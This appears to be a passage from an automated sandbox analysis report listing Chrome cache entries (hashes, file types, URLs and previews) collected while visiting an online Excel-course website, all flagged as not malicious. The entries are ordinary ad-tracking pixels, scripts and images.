yieldmo_s2s=0.86&hb_pb_indexExcha_s2s=0.69&hb_pb_mediagrid_s2s=0.57&hb_pb_rubicon=0.54&sales_cat=132&sales_safety=GGT0&sales_kw=earn,professionals,excel,skills,vbacourse,skill,marketing,gamechanger,powerpointlesson,completepackage,ability,professional,order&sales_segment=GumGumVeritySeasonal-FathersDay,GumGumVeritySeasonalSegment-Backto,GumGumVeritySeasonal-MothersDay&partnerLift=roundelE6M0&slot_id=adhesion_desktop&hb_count=4&hb_pmp=0&UR=87&URP=138&OE=0&google=1&native=1&slot_number=1&slot=adhesion_desktop&arrival=0&refresh=0&sspm=1&bidFloor=0.23&ccpa=1---&psa=6,12,3&timeout=adhesion_atf_d_2801&gid=0&inview=0&adomain=monday.com&grow_state=4&grow_version=7.239.1&dsp_id=2742174208444549125&3pc=1&illr=0&gpp=0-0-0&pps=&pair_id=0&deprecationLabel=na&parent_adunit_name=earnandexcel&slotName=adhesion&device=desktop&country=US&offeringId=1&adProduct=display&oCpm=0.866844"
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 839

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (344)
Category:	downloaded
Size (bytes):	543
Entropy (8bit):	5.291659992855669
Encrypted:	false
SSDEEP:	12:2ebxkC6DVU4dxhwVVIOhOiD7HQBYBO6DWV/Mwxmzd4NF/oQL:2e2C6hHfhiVIT47TO2WV/MSqd4NFb
MD5:	5005377D003282F33FBEFDC6A1E2E8BD
SHA1:	DD268CFA6E8D11478D4C2BBA1A810A329D83BAB6
SHA-256:	F8B6DA62288D167A78EC5AC69D38216FD52E034865C353835F0C33179573319A
SHA-512:	329146D580DB3FC6C3B35A6DCECD9386563B34DE33838DD266DFFF1E344C62AC5FBDF6159FDE9923A9E1DD455943EBB3EC9AAA82FEBE4C4034165FD1885C4D73
Malicious:	false
Reputation:	low
URL:	https://google-bidout-d.openx.net/w/1.0/pd?plm=5
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://x.bidswitch.net/sync?ssp=openx"><img src="https://capi.connatix.com/us/pixel?puid=597f00c4-bf89-4fb9-b4cf-1d2c4f359396&pId=8&gdpr=0"><img src="https://p.rfihub.com/cm?pub=25&in=1"><img src="https://um.simpli.fi/ox_match"><img src="https://i.liadm.com/s/57424?bidder_id=206088&bidder_uuid=95f3ace7-21cf-4827-b858-421651283907">..</body>.</html>.

Chrome Cache Entry: 840

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46518
Entropy (8bit):	4.680799497377526
Encrypted:	false
SSDEEP:	768:hqhxGt1o1ui9ZbABj/YYizUFxLUqaEMwZD5+gvcHcTNWxpxvQ7HlrFMH:hEU2MwbA5azUVKwRsgkcZWBQ7FO
MD5:	07559F2F8C326E0CC3F1A3792C1003C1
SHA1:	87357031B2D9335F8A5B581A19B0FA0772FFF0F4
SHA-256:	AC5EC85616BECD27083649BB9D0A660EE659E8F15A1A9D6AC524B714AF735C92
SHA-512:	4B70B31DEAC0E2A8C20DC98D444047ED6B3898C4C2313A76BA140DA266020C16A72A01A182C1E089BD69128A824FE12CE2C92FE77A1CDB715479ABCA5BB3FA85
Malicious:	false
Reputation:	low
Preview:	{"w3pr0g":{"1b83mdc":{"b":"bpjlds"},"kl6lmo":{"b":"bpjlds"},"1k3qmm8":{"b":"bpjlds"},"2twl4w":{"b":"bpjlds"},"12cgm4g":{"b":"bpjlds"},"voqcxs":{"b":"1b83mdc"},"1v7adxc":{"b":"1b83mdc"},"dxgcg0":{"b":"kl6lmo"},"1dg0dfk":{"b":"1k3qmm8"},"mt3cow":{"b":"1k3qmm8"},"1mbndog":{"b":"2twl4w"},"51tc74":{"b":"12cgm4g"},"14kdd6o":{"b":"12cgm4g"},"r8wutc":{"b":"voqcxs"},"1qrgvsw":{"b":"1v7adxc"},"9hmubk":{"b":"1v7adxc"},"1906vb4":{"b":"dxgcg0"},"id9ukg":{"b":"1dg0dfk"},"1hvtvk0":{"b":"1dg0dfk"},"lzu2o":{"b":"mt3cow"},"104jv28":{"b":"1mbndog"},"z0lhj4":{"b":"1mbndog"},"1yj5iio":{"b":"51tc74"},"h9bh1c":{"b":"14kdd6o"},"1grvi0w":{"b":"14kdd6o"},"q4yha8":{"b":"r8wutc"},"1pnii9s":{"b":"1qrgvsw"},"8dogsg":{"b":"1qrgvsw"},"17w8hs0":{"b":"9hmubk"},"ukrzeo":{"b":"1906vb4"},"1u3c0e8":{"b":"1906vb4"},"cthyww":{"b":"id9ukg"},"1cc1zwg":{"b":"1hvtvk0"},"lp4z5s":{"b":"1hvtvk0"},"1l7p05c":{"b":"lzu2o"},"3xuyo0":{"b":"104jv28"},"13geznk":{"b":"104jv28"},"wsoqgw":{"b":"z0lhj4"},"1wb8rgg":{"b":"1yj5iio"},"f1epz4":{"b

Chrome Cache Entry: 841

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27992)
Category:	downloaded
Size (bytes):	45523
Entropy (8bit):	5.502483696040155
Encrypted:	false
SSDEEP:	768:lIemaocDN2Blc2ni5KGalPu+JB/Ofns3/Fh3dm6JZIv:l75SlGglPu6cPs3/Fh3dm6JZo
MD5:	264BAE03F1D598BCA141E0840046B194
SHA1:	721F3A0714D44E5CB641FC99AD12B955130A88E3
SHA-256:	F563AEC552103867ADCB967E41B1699C9D15E1AA257C7A210F70F5CD71E6A0EF
SHA-512:	24337F15E27020FBA4E0B8E23823511898B50F419047AE3ED77EF7F96A954AFA5E6BF2F2B12E1CFC0ED9291129354E287DF33F022CD39A9FA4F5AAE80F1C0BB6
Malicious:	false
Reputation:	low
URL:	https://sc-static.net/scevent.min.js
Preview:	/** Snapchat Pixel SDK */.!function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,r=1,e=arguments.length;r<e;r++)for(var i in n=arguments[r])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,arguments)};function n(t,n,r,e){return new(r\|\|(r=Promise))((function(i,o){function a(t){try{u(e.next(t))}catch(t){o(t)}}function c(t){try{u(e.throw(t))}catch(t){o(t)}}function u(t){var n;t.done?i(t.value):(n=t.value,n instanceof r?n:new r((function(t){t(n)}))).then(a,c)}u((e=e.apply(t,n\|\|[])).next())}))}function r(t,n){var r,e,i,o,a={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function c(c){return function(u){return function(c){if(r)throw new TypeError("Generator is already executing.");for(;o&&(o=0,c[0]&&(a=0)),a;)try{if(r=1,e&&(i=2&c[0]?e.return:c[0]?e.throw\|\|((i=e.return)&&i.call(e),0):e.nex

Chrome Cache Entry: 842

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://bpi.rtactivate.com/tag/?id=20909&user_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 843

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65460)
Category:	downloaded
Size (bytes):	221091
Entropy (8bit):	5.438287635435986
Encrypted:	false
SSDEEP:	6144:hwZJyAvYauOWEs9Qrk5rkXrk0rkQrk/mrLOv:hjeJWEs9Qrk5rkXrk0rkQrkeXOv
MD5:	81FBD3ED10BF902EA237CFD9CE8EA349
SHA1:	FF7AEEE99F616877C789094A19B2FBC9208593E4
SHA-256:	8388C4C3624B2F780FA4190A066281A31D56D82CD26BB0922C644E6159FC62D2
SHA-512:	E5873A426C592E46EFF66A751B68E94D5B51F48C5F206DF8C11E018DC380A07974783AB2244DC0044BE0EB111EE1D53129A2784BC6BE7BACB9E0703D0B23DE0F
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/416.cad592d6.chunk.js
Preview:	/! For license information please see 416.cad592d6.chunk.js.LICENSE.txt /.(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[416],{2700:e=>{var t={unlikelyCandidates:/-ad-\|ai2html\|banner\|breadcrumbs\|combx\|comment\|community\|cover-wrap\|disqus\|extra\|footer\|gdpr\|header\|legends\|menu\|related\|remark\|replies\|rss\|shoutbox\|sidebar\|skyscraper\|social\|sponsor\|supplemental\|ad-break\|agegate\|pagination\|pager\|popup\|yom-remote/i,okMaybeItsACandidate:/and\|article\|body\|column\|content\|main\|shadow/i};function n(e){return(!e.style\|\|"none"!=e.style.display)&&!e.hasAttribute("hidden")&&(!e.hasAttribute("aria-hidden")\|\|"true"!=e.getAttribute("aria-hidden")\|\|e.className&&e.className.indexOf&&-1!==e.className.indexOf("fallback-image"))}e.exports=function(e){let r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};"function"==typeof r&&(r={visibilityChecker:r});var i={minScore:20,minContentLength:140,visibilityChecker:n};r=Object.assign(i,r);var o=e.querySelectorAll("p,

Chrome Cache Entry: 844

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 296 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5715
Entropy (8bit):	7.869885847394282
Encrypted:	false
SSDEEP:	96:wSPPQvTQZq7lb5nBYOlxWnxcvPqHRg0op5eN/q7FgxZeCtFnObfKEedce45gb62r:+bQQ95nmOlqxP1/Tx8CHkedce4ib6zy
MD5:	507589703EC0C072DA80113269CC7447
SHA1:	719F9F9DFDD062CD043246A3C5A95140456808A9
SHA-256:	AE7DDCC420080743B2D1E044CFFB7405309F85D1609D6E4DCBF2C4D500CEA13A
SHA-512:	8466BEA3C23DF0B3041F5A8C4B8E5E7F4170DF71A063D65A3028709983F82E9390ADB79412C63FB27147E270F1F82EF541384C77E670FA30160CF6309D19019C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...d.....5.....IDATx...]h.q.....mv.<F.y.YF.C...Z.\H..;).v#..IZ...D....r!O.d%.i.y(..1{....;.......?O.w.n..>.}..o.RJ)..RJ)..RJ)..R...6.._VV...]Y.).(.T.c..1....%..m..@..\d....9.)l....k.....6..S....S`.R.a..xl.#t.;`...<.V.G.QJ..}c@5n...0.@Y...j..J)..;....w;H........F)..p.?.f....@Y!\|.q.![..R...q.....F<PV.M.E.2.RJ...T4..<..e...va...J...i..Q.?p.......A...SJ....r\@+\.....p...g.R.....2..<..y.,..q..uHWMbH2Q..x.~;0.4P...G0G..(..yw.q....aI......{0Y.t.R$o..X.z....D.eu.>..HC.T...S.q..p.&.@Y.5(.}J.$.3.C.>.....(....,......<{.G...x.......Q..R.PUUU.&.........I......e....P.WgT<c...)......h.....=...4.(....]O..x. .@.\.H..b.r.........@;.Q.\|3D.....cQ..!.(....T9..&...(..........(h.t...<P...(....z......Q..F).T.....>.T.z5PU.@.f..4#..>.....;.4P..@Ew....y,.(.}....`.....8.T?z#..3.R...../..Z.F.8.T..Fa....N.....7.;0...{..E.E..B.F..a\|.A.r..<d#...A>.x....4P~.T..a+.....2^.P.P.zt.<P]......D,.6..i\.=<.m\A.[P.....e.C8.3....(.......I .Hb.A..(.............G.e..a..

Chrome Cache Entry: 845

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2156)
Category:	downloaded
Size (bytes):	44701
Entropy (8bit):	5.556418658154966
Encrypted:	false
SSDEEP:	768:0n23gP8cSTWDHO4Y5DoAsxaVTlo50Zpl+B8Jpc02Wf:0vkt+BAsKxO6pcqf
MD5:	6583128F6D84D81BFD8CBBF3F2D13FC8
SHA1:	47DB6DC2FB779DEA41436F1AEF6B38B90588774B
SHA-256:	D0BFFC7261DF1454C5E05475CDA7D9E6647318DC6C3936767E1252BFE8849C54
SHA-512:	DF4026351FED40111D17EF75FF87E650627AC408BA175B7B1240D48551EF32321365139CA677C2F14178ACD0C71228B39C95C53A02BDEE10478437784AE6B263
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/instream/video/client.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),p=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.p("String.prototype.endsWith",function(a){return a?a:a=function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.endsWith must no

Chrome Cache Entry: 846

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57926
Entropy (8bit):	5.9814851814570105
Encrypted:	false
SSDEEP:	768:zWGkXR4PKEBAaNnXdd25FwDE03LrY1l5074o8R+kmS:zHkB0uY43T
MD5:	B991C6AA02015632B917F3536E6BC411
SHA1:	55654861F43D9AC41110D078BD20A61723480DE0
SHA-256:	E1C2E111A3CED6E190DF5F61E7082F51647B6BD426F8E346839F5774BD91FD9B
SHA-512:	1631733A784A76A4F7CA4E94189A3E5ABF1C95759EFA6C7745F0067CF9C89BAA2EE3AEC18BA2E101E86368BAEA8D06FA8E4915C64721E297C079EE997A2F9F13
Malicious:	false
Reputation:	low
Preview:	{"/1030006/earnandexcel/adhesion":["html",0,null,null,0,90,970,0,1,null,null,null,1,null,[107212704516],[179384556],[29955756],[299148516],[98686],null,null,null,null,null,null,0,null,null,null,null,null,null,null,"CJWqo6mNu4UDFWG0gwgd6D8Fow",null,null,null,null,null,null,null,null,["012404020207000"],null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html amp4ads class=i-amphtml-inabox i-amphtml-layout i-amphtml-no-boilerplate lang=en><head><meta charset=utf-8><meta content="width=device-width,minimum-scale=1,initial-scale=1" name=viewport><style amp-runtime i-amphtml-version=012404020207000>html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!important;width:100%!important}html:not([amp4ads]),html:not([amp4ads]) body{height:auto!important}html:not([amp4ads]) body{margin:0!important}body{-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;text-size-adjus

Chrome Cache Entry: 847

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?&p=156423&us_privacy=1---&predirect=https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D25%26external_user_id%3D
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 848

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2391), with no line terminators
Category:	downloaded
Size (bytes):	2391
Entropy (8bit):	5.858930276960554
Encrypted:	false
SSDEEP:	48:Ego2Y+iKasKEIzUtJQSIZyaQqe3q7SWWdCC6jykt083hCuRTmMiWpQvK1KIp6:wsbSUtJfxrqLWWWdV6j1Dh7RXpgr
MD5:	8ACAAC3DBA64C5A176BE02D0548B0DAE
SHA1:	ECAD14020102BB18F98CE394AAAB5C5D937A922C
SHA-256:	077034280F7246D5BCB783CC9C8B0FF00DF1126949176F7F5B8F30E76B223959
SHA-512:	7E877E854AE3536108505178A0402877E6D98F94333B51D73D8FECFB0609E490D1C85E94BF51E3178A9C1DC1DC39DA01A38821F2B217405130A37E2931C80C96
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/416707819/?random=1712870851214&cv=11&fst=1712870851214&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&ref=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Online%20Data%20Analysis%20%26%20BI%20Courses%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var r=k&&k[610401301];g=null!=r?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&-1!=a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;0<=(b=d.indexOf("fmt",b))&&b<a;){var c=d.charCodeAt(b-1);if(38==c\|\|63==c)if(c=d.charCodeAt(b+3),!c\|\|61==c\|\|38==c\|\|35==c)br

Chrome Cache Entry: 849

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10178)
Category:	downloaded
Size (bytes):	33639
Entropy (8bit):	5.398443625320001
Encrypted:	false
SSDEEP:	768:wm1HhUfznY64676qdq1OQvUDkDslD3EM5/d39293yNDpXJlcZ99wsNCwFZ:wYHhUfznp465q1OQvUDk+3EM5/d37lXc
MD5:	19AC3D7688A2AFFA9BBB52D50C6DC484
SHA1:	C01DE334D7C1F26B662FF50FCC5793185DD7F6E6
SHA-256:	2235CB7F020758BDC9D09704EB9DA1A8D27969737D82798F804417F5E08CB6DF
SHA-512:	40F97A37875F39E5BD5F25F2BDDA02C46C0A97D010D1B5B4EBA413ED778213562AA83C9FE861B2D0926EF7859C805356EF9B3E56B9314AE96EC4FE6BE6636B96
Malicious:	false
Reputation:	low
URL:	https://assets.thinkific.com/assets/application-themes-v2-c709a110baebe1a179f2aadb060b9e2ba211b1d2bfe66c5515f2ad3976eff263.js
Preview:	// Generated by CoffeeScript 1.4.0.(function(){var e,t,a,c,l,d,m,f,y,_,g,k,A,C,w,b,S,T,E,P=[].slice,D=[].indexOf\|\|function(e){for(var t=0,a=this.length;t<a;t++)if(t in this&&this[t]===e)return t;return-1};(e=jQuery).payment={},e.payment.fn={},e.fn.payment=function(){var t,a;return a=arguments[0],t=2<=arguments.length?P.call(arguments,1):[],e.payment.fn[a].apply(this,t)},c=[{type:"maestro",pattern:/^(5018\|5020\|5038\|6304\|6759\|676[1-3])/,format:l=/(\d{1,4})/g,length:[12,13,14,15,16,17,18,19],cvcLength:[3],luhn:!0},{type:"dinersclub",pattern:/^(36\|38\|30[0-5])/,format:l,length:[14],cvcLength:[3],luhn:!0},{type:"laser",pattern:/^(6706\|6771\|6709)/,format:l,length:[16,17,18,19],cvcLength:[3],luhn:!0},{type:"jcb",pattern:/^35/,format:l,length:[16],cvcLength:[3],luhn:!0},{type:"unionpay",pattern:/^62/,format:l,length:[16,17,18,19],cvcLength:[3],luhn:!1},{type:"discover",pattern:/^(6011\|65\|64[4-9]\|622)/,format:l,length:[16],cvcLength:[3],luhn:!0},{type:"mastercard",pattern:/^5[1-5]/,format:l,leng

Chrome Cache Entry: 850

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 851

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 49, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6050
Entropy (8bit):	7.937192955900805
Encrypted:	false
SSDEEP:	96:Z0wSlyhxECb9UQzwI1kSgsld7VZFUVZxM7uJlUsRmUWVXfVaGqFKZF2gXf:VhUkwdSdhApJesRmUWVXfcjcRXf
MD5:	EE28840662C2DC1EC201085348D3C37A
SHA1:	9F6AE30D636DFD30ED095048C24DDAC4AB869637
SHA-256:	1873860FD1751D07C5E18F75BFC31DC44E1A3EC8788359A3F5862D6ACC9B22AD
SHA-512:	04067DB719661F04515AE980FDB435A5E0E21F85CEB68E1A33F32CD4D340DECB38C3A893F1AE1FBFFC9708F1EA39C9CB45AA3999E4B7161FE5AA1B24F2BAE4EB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......1.......v....iIDATx...K^]...W.IBz...Nz.!.,.I..Y.,..Y...\(....{...w.......0\|.^A.....-.w..9.b....."n.....n0B..........F0..\G.!...bc~~^.....7.y.q.n.........,//...b``..!`a<..p..XG...Eimm...Z...qp.X.q...#.;.....Y**.....!`...:..{G.50h............p............(---....8.......-,,..m.uuu....8...._.....u444.STUUIee%.5Uguu5..7.....................IOO....,...u.........A.)).kmjj.Y.-yrr.uz..6W......btt.x1..........&ccc.K}MMMa..s..0o.c9+//....8.{.[.u`....y....m.......G....3B ...cii)~....P~..-....Bjj..\|.OOO...$=...#&....5.......#.#......A.l....8O........H..?..Dh....q.......=....}=......h..yDD......R.VD.9...&$$x....?QQQ....}.j.........E....C..I....?}.$'N..3g.l.g....?w.\.pA.\."O.>...KQQ.LLL.'..A.....I.:[...:.V...l........?...W../^......'.......1..BZZ..;v....\.\|.{.....8.o.M..Y.." ?.......p..5..w.^y..!.C....c.%.:..)....TJ...4X{..W..(.].$7n..7o.X%..G..{...[5.!................c......8...r.......]..q..}...Z.sss..W.......>}Zc~..m

Chrome Cache Entry: 852

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	190
Entropy (8bit):	5.1770759053748385
Encrypted:	false
SSDEEP:	3:qQgfjg5anvEVUxQARpEy3TWIHW8kQkaf4NoWjUHW4gneBzWLKjUSHJb4CNw1B:qQQjgYke7hjWdQkU4xj2gecLA1Hx4CNK
MD5:	5E184A2A90EF8D40F9BDBE5B4CF1390A
SHA1:	EEB994B8129B8C993849EC4140EFB63D8EE6B025
SHA-256:	56DF8896D440B37F638F84D6F71C7689B1F2FD4B2C7123E65397A45E8EE6D382
SHA-512:	11E272B0C2ABB4B38989D3C93E079A7566F107DE3DDE1A00C63CD882DA2642E6954B60510CAF089483A3CC0DA68113F304759BFAAFDBA9F59F65C4638B53ABA2
Malicious:	false
Reputation:	low
URL:	https://tr.snapchat.com/config/com/5e40fa19-dd6c-4373-b1e0-df7865ef9034.js?v=3.14.1-2404091850
Preview:	!function(){"use strict";try{window.snaptr.cfg('5e40fa19-dd6c-4373-b1e0-df7865ef9034',{"asc":[],"a":["PII","AV3"],"ipg":"1","b":["ERR"],"t":"","v":"3.7.5-2401032347","ec":[]})}catch(e){}}();

Chrome Cache Entry: 853

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	23
Entropy (8bit):	3.914866303883101
Encrypted:	false
SSDEEP:	3:8WiCLViemVh:8WiIUemf
MD5:	EAE5EE6C7E3134A287AA23FCD63D64F0
SHA1:	3B17DC8EB29B01BD80C12C7D64159D0434EDFDAC
SHA-256:	745A085B52B8371EC6705413FCA70A28C6D8BFF0DB480E6B124BD08C54E95EF8
SHA-512:	3A534A5E4557ACC431634EBA78950183078C2F78816C6E156679F3A8753C4C6514353111E6CE3F52C91219D036351D090970E8097CB4D41D65A1EC39D0E450EF
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=600&u=https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F&pr=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&pid=8BZ6acGURyB4i&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A100%2C%22id%22%3A%22sticky_outstream_desktop%22%2C%22mt%22%3A%22v%22%2C%22s%22%3A%5B%22300x169%22%5D%7D%2C%7B%22sd%22%3A%22adhesion_desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%2C%22fc%22%3A%22USD%22%2C%22fp%22%3A23%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%5D%7D%7D%7D&sg=%7B%22ortb2%22%3A%7B%22site%22%3A%7B%22name%22%3A%22Earn%20and%20Excel%22%2C%22domain%22%3A%22earnandexcel.com%22%2C%22cat%22%3A%5B%22IAB9%22%5D%2C%2